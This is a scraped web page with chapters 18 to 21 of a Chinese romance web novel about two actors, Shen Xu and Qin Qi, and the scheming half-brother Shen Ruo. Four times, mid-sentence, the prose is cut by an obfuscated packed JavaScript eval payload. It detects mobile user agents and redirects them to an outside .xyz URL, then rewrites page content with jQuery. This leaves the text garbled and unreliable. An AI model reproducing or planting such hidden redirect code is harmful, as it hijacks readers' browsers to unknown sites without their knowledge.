换句话说，沈絮到底在不在剧组对他来说不是一件难打听的事。 他一直知道沈絮这一阵子在休假。 刚开始被放置的时候，秦祁没有在意。 或许是沈絮有什么私事要处理，抽不开身呢？ 抱着这个念头，秦祁安静地等待了三天。 但敷衍是可以被察觉的，哪怕是隔着屏幕。 于是到第三天，秦祁开始有些按捺不住了。 那些曾经隐隐察觉到，却又被他刻意忽视的一些不对劲，终于显露了出来。 在相处中，沈絮会刻意规避“过去”——不管是他自己的，还是秦祁的。 似乎他们的人生，就该是从与彼此相识那一刻才开始。 虽然在表白的时候，秦祁就坦然提出，欢迎沈絮来了解自己的过去，但一年多来，沈絮却鲜少对那些事感兴趣。 这让秦祁时常感到挫败。 ——难道他前十八年的人生和沈絮的过往相比，就显得这么无趣？ 秦祁不信这个邪，开始主动向沈絮提及那些在他记忆里熠熠生辉的记忆片段。 沈絮不愧是捧着影帝奖杯出道的人。 他在倾听时认真的眼神，和适时流露的笑意，险些让秦祁误以为他也沉浸其中。 如果不是每一次，谈不了多久，沈絮就试图不着痕迹地转移话题的话，或许秦祁就真的被他骗过去了。 于是秦祁开始试探着向沈絮了解他的过去。 然而每一次，沈絮都像修了闭口禅一样。 一年多过去，秦祁对沈絮的了解，甚至不比他的大粉多。 真奇怪，他们明明是亲密到负距离的关系，为什么会对彼此知之甚少？ 他们真的是恋人而非炮友吗？ 这个念头在沈絮近乎失联的这几天里一直盘旋在秦祁脑海中。 直到第五天，秦祁终于忍耐不住了。 此人行动力极高，卡着沈絮起床的点到了他公寓楼下，然后掏出手机发了条消息。 “叮。” 特别关心的消息铃声响起，让沈絮半天也没动过的目光终于偏移了一下。 他并没有第一时间去拿手机，好像在纠结些什么。 又好像只是单纯地在放空自己。 三分钟后，沈絮叹了口气，妥协般起身。 【小狗（拆家版）】：我在你家楼下了，哥哥，你真的忍心不见我，看我冻死在外面吗？（可怜） 沈絮扯了扯嘴唇，将手机撇到一边，眼不见心不烦地合上了双眼。 这种用伤害自己来威胁他人的办法，是最幼稚，也最无效的。 没有人会在意你。 用这个方法，除了让自己的痛苦更上一层楼外，什么也收获不了。 这是沈絮五岁时就知道了的道理。 而有些幸福的小傻子，眼看就要十九岁了，居然还对这一点一无所知。 沈絮阖着眼，随意地往沙发旁的小几上一抓，精准地碰到了酒杯。 杯里的酒暴露在空气中太久，味道已经不那么好了。 但沈絮也不怎么在意，他只是想要麻痹一下自己的大脑。 虽然酒精现在对他已经近乎失效，但总是聊胜于无。 一口酒含在口中，片刻后才被咽下。 沈絮捏了捏鼻尖，拎着酒杯的手有些僵硬。 是因为天气还冷吗？ 屋里都这样，屋外…… 停，不要再想了。 拆家的小狗不值得被同情。 这一阵因为沈若，他已经够烦了，哪里还有心思给一只被石头小小绊了一跤的小狗做心理辅导？ 他这都快掉下悬崖了，也没见谁来救救他。 ———— 五天前。 沈絮收到沈父的消息时，第一反应竟然是想笑。 这个男人怎么敢？ 怎么敢在母亲去世后，带着私生子光明正大地进入她生前的住宅？ 甚至打的旗号还是——给沈若，他的那位同父异母的弟弟，办一场家宴，接风洗尘。 似乎之前那个女人明里暗里刺激母亲，让母亲本就不好的身体再添上一层心病，以致于她郁郁而终的事，就这么一笔勾销了。 怎么，人死债销还能这么用的吗？ 当年私生子的事情闹大后，在沈絮外家的施压下，本就不待见沈若的沈老爷子当即拍板做了主——沈若这辈子，都不准进沈家的门。 奈何年初，老爷子撒手人寰。 人走茶凉，老爷子刚走没多久，有些人就按捺不住了。 沈絮在老宅前下了车，心里明白，今天这场家宴，大抵是不能善了了。 不得不说，恨比爱长久这句话某种程度上还是有些道理的。 就比如现在，沈絮辨认出沈若的声音，简直比认出秦祁的声音还要轻松。 当然，也不排除是因为对方刚好踩到雷点上了—— “其实我真的想去看看阿姨，当年她对我也很关照……” “这么挂念她，你怎么不去陪她？” 桌上霎时一静，众人回头，只见沈絮面无表情地走来 沈若怯怯道：“哥哥误会了，我是真心的。” “哎哟，这么乖。”沈絮忽地笑了，“那我也来关心关心你。” “你这辈子都不能进家门是爷爷亲口决定的，老爷子才走了多久，你们一个二个的就都等不及了？” 这话一出，周围便陆陆续续地响起了说情的声音。 沈絮瞥了眼，决定抓只最大的出头鸟杀鸡儆猴。 “小若毕竟是你弟弟，”二叔道，“一家人，哪里有隔夜仇？” 二婶跟着附和：“是这么个理，日子太明白了也过不下去……” 沈絮听乐了，刚想开口，却被沈父打断。 “先坐下，”沈父说，“一桌子人仰头看你像什么话？” “不急，徐叔，”沈絮目不斜视道，“把不该出现在这儿的人都赶出去。” 老管家应了声，却没有上前。 沈若的脸扭曲了下，还是迅速调整出了一副泫然欲泣的模样，求助地看着沈父。 “这一大家子好不容易聚一聚，闹这么难看做什么呢？”沈父伸手招呼沈絮，“先坐下，菜都要凉了。” “徐叔，”沈絮头也不抬，“这个也轰出去。” “沈絮，”沈父敲敲桌子，“你这么说话，是想要出去被人戳着脊梁骨说没家教吗？” “你在含沙射影些什么？”沈絮道，“人话是说给人听的。” 沈若闻言，动作僵了下，咬咬牙，正打算说些什么。可沈父警告地瞥了他一眼，他只好低头。 见此，沈絮终于有些腻味了：“至于谁惯的，那当然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796853|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我外公。毕竟我妈有个好爹，这是我比不上的。” 见沈絮提到外家，餐桌上又是一阵静寂。 沈絮的母亲顾女士，出生于豪门大族，长到二十多岁，知书达理，出类拔萃。 顾女士虽然在名利场中长大，待人接物却依旧真诚，信奉真心换真心。 要说她一生唯一的污点，大概就是挑丈夫的眼光不行。 她付出一腔真心，得到的却是无尽的欺骗与背叛。 所以沈絮怎么能容忍今天这些人在这胡言乱语。 “二叔也上了年纪了，”沈絮靠着椅背，“别那么费神，南边那几家和顾家合作的公司，以后就由让别人来负责吧。” 沈二叔动作一顿，很有些不敢置信，但触及沈絮的目光，到底不敢正面驳他。 “南边那块情况复杂，一时半会怕是不太好上手的。”二叔讪笑，“不如你让人来，我带他个一年半载的，也容易不少。” 沈絮：“会有合适的人去的，不过也不劳二叔费心了，我会和外公那边说好的。” 气氛眼见着冷了下去，沈絮开口却难说是缓和还是火上浇油。 “叔伯们年纪大了，说话随性些也是能理解的。”他说，“不过还是注意点好，毕竟祸从口出，你们说是吧？” 安静片刻后，众人点头称是。 “……先坐下开饭吧。”沈父最后道。 但最终，这顿打着给沈若接风洗尘的名号的“家宴”还是没有吃成。 因为沈絮甚至没有坐下，直接掉头就走了。 离开前，沈絮最后回头看了花园一眼。 他想，原来自己还是不够强大。 否则，怎么会让沈若有走进这座房子的机会？ ———— 想到这，沈絮又抿了口酒。 ——然后，这个千杯不醉的人，居然被这口不太烈的酒呛到了。 沈絮倚在沙发扶手上，直到咳嗽平复，才苦笑着叹了口气。 他终于还是起身走到窗边，将窗帘掀开了一条缝。 然后不出所料地看见了靠在墙角的秦祁。 真是个祖宗。 沈絮深吸一口气，去洗了把脸，试图让宿醉的疲态从面上散去。 他换了身衣服，确认身上没有酒气后，这才给秦祁发了条消息。 【哥哥】：上来吧。 两分钟后，门铃被摁响。 当门被拉开，秦祁看到的沈絮又是那副风轻云淡的模样。 “不忙了怎么也不回我消息？”秦祁轻车熟路地进门换鞋。 “忙昏头，我以为我回了……下次注意。” 秦祁的动作顿了顿，有些无奈：“你是不是真的把我当傻子啊？” 沈絮歪歪头，发出一声鼻音：“嗯？” 秦祁说：“我能感觉到你心情不好的……为什么不跟我说呢？” 他们是恋人，分明该是世界上最亲近的人。 “真没有，”沈絮笑，“我就是太累了，你在乱想些什么？” “是吗？”秦祁说，“那到底是什么让你累成这样，可以告诉我吗？” 沈絮默了默：“一点小事，不值得你费心。” 沈絮现在有些后悔让秦祁上楼了。 果然心软不会有什么好下场。 不可否认，开门看到秦祁的脸时，那股从内心涌上的欢愉短暂地冲散了沈絮这几日来的阴郁。 但随即，那需要在秦祁面前维护好形象所需要花费的心力，让沈絮有些力不从心。 他第一次希望秦祁能尽快离开。 “我记得你这几天不是还有个杂志拍摄？”沈絮问，“怎么还有空来我这？” 秦祁说：“我来看看，我这个炮友当得合不合格。” 19. 第 19 章 沈絮：“……什么？” “原来我们不是炮友啊，”秦祁看着沈絮，在楼下被冻僵的手有些颤抖，“那为什么你什么都不告诉我？” 沈絮揉了揉眉心，宿醉后的头突突地疼。 他使劲闭了闭眼，偏过头咬紧牙，努力压抑住心中起伏的情绪。 那种久违的，被人看透后的不安再次泛了上来。 初见后与秦祁的几次交谈里，被秦祁轻易看透他精心掩藏的情绪时，沈絮就曾心生退意。 但或许是秦祁笑起来实在太好看，竟让色心打败了疑虑。 于是他们纠缠至今。 但此刻，那股被特意忽视的不安开始加倍地反噬，几乎要化作恶言脱口而出。 沈絮胸口猛地起伏几下，眉头紧紧皱起。 可这些落在秦祁眼里，就是沈絮已经不耐烦到极点，连看都不想看见自己了。 “啪！” 沈絮就像应激一般，下意识一巴掌拍开了秦祁捧住他脸的手，猛退一步。 秦祁紧追不舍，立刻跟了上来，拽住了沈絮的手腕。 沈絮往外一抽，没抽动。 手腕上的痛感加强，沈絮这才反应过来，朝秦祁的手腕看去。 ……红了。 算了，年轻人皮糙肉厚的，过一会也就该消下去了。 “为什么又不说话，你……” 也许是声音太过干涩，秦祁的话音此时听起来竟然有些哽咽。 几秒后，秦祁似乎也意识到自己有些激动，深呼吸一下，松开了手。 沈絮低头瞥一眼，腕上果然一圈红痕。 倒也般配。 沈絮的头疼得仿佛要裂开。 秦祁的声音此时在他听来有些飘忽不定，却又像一根针一样避无可避地扎入他的脑海。 “我不明白，你的‘私生活’是很不堪吗？还是我实在不值得信任？”秦祁似乎把自己说委屈了，眼眶越来越红，“为什么我什么都不配知道？” 这厮一开口就是绝杀，“生活不堪”几个字听得沈絮心脏几乎停跳。 沈絮咬住舌尖，极力克制自己开口的欲望。 但冷暴力又何尝不伤人呢？ 秦祁突然想起来，刚在一起那一阵，大数据给他推过一个帖子。 “吵架时最无力的时刻是什么？” 其中的高赞回答是—— “你濒临崩溃，对方却无动于衷。” 那时的秦祁一笑而过，此时他却感同身受。 秦祁终于控制不住自己的情绪。 他拉起沈絮的手紧贴在自己的侧脸，泪水顿时浸满了沈絮的手心。 秦祁用一种近乎祈求的眼神看着沈絮，企图唤起他的怜惜。 这招从前百试百灵。 “告诉我点什么吧，随便什么都好。”秦祁崩溃得连语言系统都开始混乱，“为什么这几天要躲着我啊？心情不好吗？是你家里的事吗……” 话音未落，沈絮就像被戳到痛处一般。 本来还时不时抚摸秦祁脸颊的手一改刚刚的温和，被沈絮一把抽出。 过程中好像不小心刮到了秦祁的脸，但沈絮此时已经没有多余的理智可以被分出去关注这个了。 秦祁短暂地闭了下眼，却也不闪不避。 他再次启唇，却连气音都没来得及发出就被打断。 “闭嘴。” 沈絮感觉到口中有股淡淡的血腥味，却依旧没有停下来。 这下咬舌尖也不管用了，除非现在给他来一枪，否则估计是没什么让沈絮住嘴的办法了。 沈絮看着秦祁的眼神是从未有过的锐利，就像一只出于本能狠狠反击的凶兽。 “秦祁，”沈絮一字一顿，“你越界了。” …… 秦祁离开后，沈絮突然觉得有些脱力。 他用尽最后的力气把自己丢到沙发上，然后就一动不动了。 无端的，沈絮感觉一股疲惫涌上心头。 大概是完美的伪装被戳破后的无措。 让人恋慕的面具被撕开一角，不值得被爱的真面目初露端倪。 看到了我的真面目，沈絮想，这段关系就该开始倒计时了吧。 ———— “不要再谈这个了，秦祁。” 或许只一瞬，又或许过了很久，秦祁总算在那锐利目光的凌迟下恢复了呼吸。 秦祁看着沈絮的双眼，笑着，缓慢地点了下头。 起码这次他没有落荒而逃，这何尝不算一种进步？ 沈絮看到秦祁将原本坐直的身体向后靠了靠，伸手示意自己可以接着用餐，接着就抬头盯着天花板，不再说话了。 沈絮自然也没有什么胃口，敷衍几下便放下餐具。 一顿伴着温柔与浪漫开场的晚餐，竟然就这么不尴不尬地收场。 或许他们应该感谢这个节目，如果不是它让所有人都知道他们今晚在这个酒店落脚，今晚都不一定能平静收场。 见沈絮结束用餐，秦祁顺势起身。 “走吗？” 沈絮别开目光，沉默两秒，这才转回身来走近秦祁。 “走吧。” 两人就这么保持着一个卡在“亲密”下限的距离，推开门，并肩向外走去。 一出包厢，沈絮就感受到四面八方投来的，或明或暗的目光。 感恩多年的演艺生涯，让他可以下意识地调配出一个恰到好处的笑容。 看起来就像他们真的度过了一个美好的晚餐时光一样。 虽然大部分时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796854|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它确实美得像场幻梦。 只可惜，不过镜花水月，到头来仍是一场空。 沈絮走了几步，余光轻轻瞟过秦祁，想要确认下这厮有没有控制好表情。 结果还没看清呢，秦祁手臂一捞，突然凑上前来。 “有人在拍。”秦祁凑到沈絮耳畔，用气音低语。 沈絮微微偏头，只能看见秦祁勾起的嘴角。 见状，沈絮面上的笑更深几分，伸手把秦祁的脸往旁边一推。 接着隔空点秦祁两下后，转身扬长而去。 ——好一番“打情骂俏”。 就这样，两人快步进了电梯，一刻不停地回了房间。 “……我先去洗脸？”秦祁问。 沈絮随意点点头，打算趁这个时候去换身衣服。 或许是心绪尚未平复，沈絮直到走到衣柜前才反应过来，他洗澡的时候只拿出来了要换的衣服。 睡衣应该还在箱子里。 沈絮叹一口气，正打算转头回去，等秦祁出来再开他的行李箱拿东西。 结果刚转身，就从半开的柜门里瞥见了什么。 沈絮顿了顿，伸手拉开衣柜。 然后就发现自己的睡衣已经被挂在了里面。 不仅睡衣，明天要穿的衣服也被挂好了。 甚至顺序都是沈絮熟悉的那样。 睡衣挂在最外面，明天的衣服在靠里一点的位置。 这样，当沈絮要换衣服时，可以不用思考地拽了就走。 沈絮停了几秒，目光下移。 秦祁自己的衣服被叠起来，放在了旁边的隔层里。 “……” 等秦祁洗漱好出来，沈絮进了厕所，第一眼就往淋浴间里的架子上看去。 果不其然，他带来的沐浴露那些也被整齐地放在了上面。 沐浴露放左边，洗发水在右边，护发素摆不下了，就缩在两瓶后面。 是沈絮用了十多年的，闭着眼都能摸到对应瓶子的顺序。 走到洗手台前，沈絮看到自己的牙刷被摆好，牙膏已经被放进了牙杯里。 而他的毛巾，就挂在旁边的钩子上，抬手就能够着的位置。 何其熟悉？ 沈絮险些要以为这五年都不存在，现在是他们在一起的第二年，他们在一起经历一场再寻常不过的旅行。 然而，幻觉的打破只需要一点不寻常。 沈絮的目光移了移，看见了一旁放着的，秦祁的牙膏。 沈絮顿了顿，大发善心地把它从沾水的台面上拣起来，抽几张纸巾把它表面擦干，放进了秦祁的杯子里。 ……其实不需要拿出来两支牙膏。 沈絮想。 然后慢慢的，一丝迟来的愧疚泛上心头。 20. 第 20 章 “咔哒。” 沈絮推门而出的时候，脸上和手上还带着点被冷水冲洗过后的凉意。 他一抬眼，就看见秦祁半躺在床上，手里捧着手机，面上隐隐带着几分笑，好不惬意。 看起来应该是在跟谁打视频电话。 沈絮挑挑眉，干脆抱臂靠卫生间的门框上，免得走过去入境。 手机放在床头柜上充电，此时沈絮闲得没事干，只能观察起了房间里的另外一个活物。 然而几个呼吸之后，秦祁就有所察觉一般抬起头，给了沈絮一个疑惑的眼神。 “秦老师，”沈絮笑着摊摊手，“身材不错。” 秦祁愣了下，低下头打量自己。 这才发现，他的睡袍不知什么时候已经半敞，那条件优越到……睡袍都有些遮盖不住的胸膛，此时更是暴露得彻底。 “！” 秦祁偏头措不及防地呛咳几下，手忙脚乱地把衣领往中间一收，狠狠系紧了腰带。 “慌什么？”沈絮支起一只手，托着腮，好整以暇道，“这是难得的优点啊，没想到秦老师是这么的……” “有容……”沈絮的目光在秦祁脸上转了个圈，紧接着往下落到了胸膛上，颇有些意犹未尽，“乃大。” 秦祁瞬间咳得更厉害了。 沈絮端了两秒就端不住了，笑到整个身子都在颤，托腮的那只手根本撑不住他的头。 果然，笑容不会消失，笑容只会转移。 沈絮玩兴骤起，就连晚饭时遗留的郁气也散了不少。 他走到床边，跟秦祁保持了一个，不会出境却又能伸手碰到对方的距离。 “怎么这么紧张，”沈絮伸手轻轻勾了勾秦祁的下巴，“刚刚趁我不在做贼去了吗？” 秦祁一手迅速把手机倒扣在床上，一手攥住沈絮手腕，忙得恨不得化身八爪鱼。 然后他盯着沈絮沉默了整整五秒，才用气音挤出来一句话。 “……我在和我妈视频。” “……？” 现在笑容会消失了。 沉默，是今晚的情深如许。 或许过去了一辈子，或许只是一分钟，秦祁用他那僵硬的好像死了三天的手把手机掀起一个角，按下了挂断键。 沈絮的眼珠机械地跟着转动。 好像，没有跟阿姨道别。 是不是不太礼貌。 好像也没有给阿姨一个合理的解释。 算了，死道友不死贫道，这是秦祁该思考的事。 沈絮的眼睛闭上了，不知道是睡着了还是死掉了。 死寂在房间里蔓延，尴尬真的能杀人。 “那个拍立得，”秦祁清清嗓子，试图转移话题，“你如果还要的话最好从口袋里拿出来。不然你回去就把它连着衣服一起洗了。” 沈絮第一时间张了张嘴，试图反驳。 但一想到自己的德行，他又默默把嘴闭上了。 毕竟之前因为没掏兜，此人把洗衣房弄得六月飞雪全是纸巾屑，还把衣服弄得沾满红笔墨水，像从命案现场新鲜扒拉出来的。 这个人在这种问题上是不会拥有任何发言权的。 沈絮遂走过去默默地把拍立得从外衣口袋里抽出来了。 不过此人却没有立刻把照片放好。 沈絮就站在原地，用拍立得敲了敲自己下巴，看着秦祁说：“这个我不要了。” 秦祁的呼吸停滞了一下，面上却不露端倪：“嗯？” 沈絮木着脸：“你拿这个去换一张开往外星的机票给我，今晚就要。” 秦祁有些啼笑皆非，又不免长舒一口气。 “没关系，”秦祁本来坐起来的身子又靠回了床头，“我妈会自动失忆。” 沈絮故作麻木的表情也放松下来。 他把照片收好后，从秦祁的另一侧翻身上床。 身边微微凹下去一块，秦祁的眼睛飞快眨了眨，身体有一瞬间的僵硬。 大概上次节目的同睡一晚，还是不足以让他脱敏吧。 为了掩饰这一瞬间的不自然，秦祁的手指在手机屏幕上无意识地滑动。 然后无意间点进了邮箱，点开了一封未读邮件。 秦祁回过神来，发现对面是一个陌生账号。 正想退出去，余光却瞥到了什么。 下一秒，秦祁眉头紧皱。 他两指一滑，把邮件里的图片放大反复查看。 片刻后，秦祁放下手机沉思片刻，转过头去。 “虽然现在的气氛好像不是很适合谈这个，”秦祁说着，把屏幕亮在沈絮眼前，“但我觉得你还是有必要知道。” 沈絮微微蹙眉，眯起眼向屏幕看去。 ——上面赫然是第一期节目开录前，网上爆出的，沈絮幽会照的高清版！ 跟先前微博上传得沸沸扬扬的版本不同，这几章图不仅清晰映出了两个主角的脸，甚至连他们在黑夜中的动作神态也拍得一清二楚。 几张图的情绪在渐变，那个表情从高高在上的冷漠变成温柔体贴的安抚的人是沈絮无疑。 而另一个人…… “沈若……”秦祁说，“是叫这个没错吧？” 是的，沈絮想，一个前几年还略有起色，但现在已经很久没有动静了的四五六不知道多少线艺人。 但秦祁说—— “你的，额，生物学上的弟弟……？” 秦祁的表情十分纠结，似乎是想要找到一个完美的、不冒犯沈絮的说法。 但沈絮完全没有在意这些。 他只是瞪大了眼，问：“你知道？” “什么？”秦祁看起来比他还疑惑，“你是指沈若是你……这件事吗？这我有什么不知道的？” 沈絮的大脑有些宕机了。 在一起那一阵，沈絮极力避免和秦祁提及沈家的这些腌臜事，照理来说，秦祁甚至不应该知道他的“亲人”都有谁。 而分手后就更不可能了。 因为沈絮根本就不曾在公众面前提过沈若那怕只言片语。 沈若那心思简直昭然若揭—— 沈絮拥有什么，他就要夺走什么。 因此，在沈絮被大导一眼挑中，带走去拍戏后，本来根本没有这方面规划的沈若也紧随其后地进入了娱乐圈。 但或许是能力就摆在那，哪怕在强捧之下，头两年也只是不温不火的模样。 比起如日中天的沈絮，可谓天差地别。 既然如此，沈絮当然不愿意白给对方流量。 于是哪怕至今，在大众面前，两人也是毫无交集的模样。 那么，秦祁到底是… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796855|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 似乎是意识到了什么，秦祁的眼神里露出几分不可置信。 “他之前来找我这事，你不知道吗？” “什么时候？” 沈絮脸上的震惊已经彻底褪了下去，此刻面上没有一丝情绪。 但秦祁却隐隐察觉到，这或许是沈絮这几天里，最不冷静的时刻。 就连晚餐时，秦祁试图再次探究沈絮的隐私过往，也没有让他的心绪如此不平。 于是秦祁认真回忆了下，说：“大概是我们在一起一年多的时候，你刚跟人传出绯闻那会。” “他拿着一叠照片来找我，告诉我，我不过是你的许多玩物之一，语气很……”秦祁顿了顿，抽回手机点了几下，然后再次将屏幕展示给沈絮，“你直接看吧。” 沈絮的目光隔了几秒才从秦祁的脸移到屏幕上。 【他就是一个百无禁忌的人。救救我吧，也救救你自己。】 沈絮沉默了好一会，闭了闭眼，把身子转回去靠在床头，有些苦涩地笑了。 “我居然一直觉得自己瞒得天衣无缝，”沈絮问，“你还知道什么？” “这就是我知道的全部了，而且，”秦祁撑起身，轻轻握住了沈絮的手腕，“他当时说的一大通话里，除了他的身份，其他的我一字不信。” 沈絮摇摇头，没戳穿他的文字游戏。 当时没信，但那些话真的没有像一颗种子一样被种入秦祁心底，等待有一日生根发芽吗？ 有些东西，说穿了，也没意思。 大家都不过揣着明白装糊涂罢了。 事已至此，沈絮竟有些破罐破摔的轻松。 “你困吗？”沈絮问。 秦祁摇头。 “那你还好奇我的事吗？” 秦祁犹豫片刻，点了头。 沈絮说：“把灯调暗点吧，我慢慢跟你讲。” 但令沈絮没想到的是，秦祁拒绝了。 “你再想想，沈絮。”秦祁的目光比今天任何时候都要严肃，“我觉得你现在不太冷静。” 秦祁思忖片刻，这才开口：“我确实很想知道那些你从不曾说出口的故事，但我也希望，你向我讲述它们，只是因为你想让我知道这些。” “你再想想，我等得起。” 秦祁好像在说这件事，但说的好像又不止这一件事。 这些日子里，两人之间那掩藏在虚假暧昧中的几丝真情并非无人察觉。 只不过两人都缄口不言。 他们都是擅长粉饰太平的人。 如果这时有人提一句复合，或许真能得偿所愿。 但得偿所愿后呢？ 这段在荷尔蒙与不甘心之上生长的感情将重蹈覆辙。 在许多个瞬间里，沈絮以为他们会就这样不清不楚、不明不白地走向他们那不得善终的结局。 直到今天，秦祁就在这样一个场景下挑明—— 他不要一段模糊不明、糊涂不清的感情。 如果要，他就要最好的。 他要两心相通，要毫无保留，要干柴烈火，更要细水长流。 秦祁要完完整整的“沈絮”。 沈絮停了很久，长叹一口气。 他掩面开口，语气似悲又似喜。 他说：“秦祁，你真是长大了。” 21. 第 21 章 “唉。” 寂静的房间里轻轻响起一声细微的叹气声。 秦祁揉了揉有些干涩的眼，看着桌上拼了小半的机械蝴蝶。 片刻后，他闭闭眼，拿起镊子把刚刚拼歪的一块掰下来，重新抹上胶水。 这东西做起来不简单，修起来更是复杂。 昨天录完综艺回来，秦祁简单休息一晚后，除了简单吃几口饭，就是待在房间里拼这小玩意。 到现在快十个小时了，也不过将将拼好一小半。 更别提拼起来只是修复的第一步，后面还要考虑怎么重新加固，怎么修复裂痕…… 真要修好这东西，跟闭关修炼也差不了多少了。 不过秦祁倒也不是因为这个心烦。 在十八岁那个最闹腾的年纪他都能沉下心来做出这只机械蝴蝶，如今七年过去，他自然不会连修好这小东西的耐心都拿不出来。 只是…… 秦祁今天不知道第多少次瞥了眼沉默得跟死了一样的手机。 不知道为什么，今天他一直没法静下心来。 或许是因为房间里真的太安静。 就好像少了点什么。 但其实现在跟以往也没什么差别。 明明沈絮之前也不会闲着没事给他发消息。 明明现在离他说出那句“我等得起”也只过去了一天。 明明沈絮考虑也需要时间。 明明…… 秦祁大大地叹了口气，有些没精打采地瘫倒在桌面上。 他看着窗外灯火通明的城市，心里想的却是很久之前他和沈絮去露营时看到的满天星子。 微微带些凉意的夜风，紧密相贴的身躯，不经意的相视一笑，被蝉鸣掩盖的耳畔私语…… 这一切在昨天离秦祁是那样近，近到触手可及。 秦祁把视线再次投到漆黑的屏幕上，瘪了瘪嘴。 他想，我有点后悔了。 虽然再来一百次，他依然会做出和昨天一样的选择。 正要把目光移回到窗上时，秦祁的余光忽然瞧见屏幕一闪。 他“噔”一下坐起来，抿抿唇擦擦手，这才拿起了手机。 因为手指轻微发颤，划开锁屏的时候甚至反复试了几次才成功解锁。 但下一瞬，秦祁心头那轻微的颤栗就消失了。 那并不是沈絮发来的消息。 对方是一个陌生号码，不过猜出他是谁不算难。 【陌生号码】：祁哥，我们见一面吧。 【陌生号码】：我这里还有很多你想知道的东西。 沈若。 秦祁啧了一声，把手机往边上一撇，转头扑到了床上。 这人怎么这么阴魂不散，烦死个人。 我想知道的那些事哪用你告诉我？ 自有人愿意告诉我。 我早晚能知道的。 ……我一定能知道的。 更何况，单独去见沈若这事，想想就知道没什么好结果。 这个亏，秦祁早就吃过了。 但看着那句“有很多你想知道的东西”，秦祁还是没忍住皱起了眉。 正在犹豫到底要不要放置，手里的手机突然震动起来。 秦祁看着顶部弹出的来自沈絮的消息通知，和屏幕上谢兰的来电。 秦祁默默忏悔了0.1秒，然后毫不犹豫地点开了消息。 【负心汉】：这几天好好休息。 秦祁歪头盯着这个消息看了好一会，也没想明白沈絮到底是什么意思。 不是，“休息”是什么意思啊？ 字面意思吗？ 还是有什么深意啊？ 而且咱们明天不是还有杂志拍摄吗？ 大人，给个明示吧大人。 直到来电提示的震动随着电话自动挂断而停止，三秒后又重新响起，秦祁这才猛然回神。 向被自己忽略了的兰姐再次忏悔0.1秒后，秦祁接通了电话。 “兰姐？” “你跟沈絮那个杂志拍摄改时间了，”谢兰张口先说正事，“改到五天后，你前一晚不许熬夜，我到时候会再提醒你的。” 谢兰从秦祁十八岁开始带他，对此人的阴间作息可谓是深有了解。 十几二十岁的小伙子活力堪比一只哈士奇，秦祁在国境内硬是能给自己在和别人之间熬出一个时差。 以至于每次有工作的时候，谢兰前一天必定要叮嘱他早睡。 虽说这几年秦祁惜命不少，不再这么整宿整宿地熬，但这个习惯还是就这么留下来了。 秦祁对工作安排向来少有异议，只是有些诧异地问：“怎么突然换时间了？” “谁知道呢，听说是沈絮那边的意思。”谢兰说，“可能是突然有什么事吧。” 真的假的？ 秦祁回想了下沈絮刚刚那条消息，心说我怎么从里头读出了点蓄意安排的味道？ 姜还是老的辣，沈老师只不过发来短短七个字，竟然能让人原地做两千字的解析。 “对了，”谢兰的语气突然变得有些难以言喻，“艺人谈恋爱需要先跟公司报备这事，你知道的对吧？” ———— 五天后。 “我应该跟你说过别熬夜？” 谢兰看着秦祁那状态不算太好的皮肤，眼前一黑。 秦祁无言以对，只好苦笑。 其实这确实是有点冤枉秦祁了。 此人昨晚其实十点就乖乖爬上了床，维持着一个比入土都要安详的睡姿闭上眼，准备入睡。 然后他失眠了。 这能怪他吗？ 怎么想都是沈絮的错。 沈絮这个人，除了那天发来一条似是而非的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796856|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好好休息”以外，又是整整五天杳无音讯！ 这让本来稍有期盼的秦祁，心一落再落，终于在昨晚掉进了谷底。 掉太深了坠得慌，也难怪睡不着。 也许是没休息好的缘故，秦祁今天的状态算不上好。 有种干什么都提不起劲的感觉。 退一万步说，双人杂志真的不能分开拍吗。 才不是沈絮放置他，现在明明是他不想见沈絮。 “秦老师，”化妆师小姑娘提着箱子哒哒哒跑进来，然后三下五除二收拾好后就拿着刷子在秦祁脸上涂涂抹抹，“今天怎么没跟沈老师一块来啊？” 秦祁：…… 哪壶不开提哪壶。 